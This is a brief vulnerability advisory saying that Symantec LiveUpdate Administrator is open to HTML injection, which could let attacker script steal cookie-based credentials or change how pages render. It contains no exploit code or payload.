Symantec LiveUpdate Administrator is prone to an HTML-injection vulnerability.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected application, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
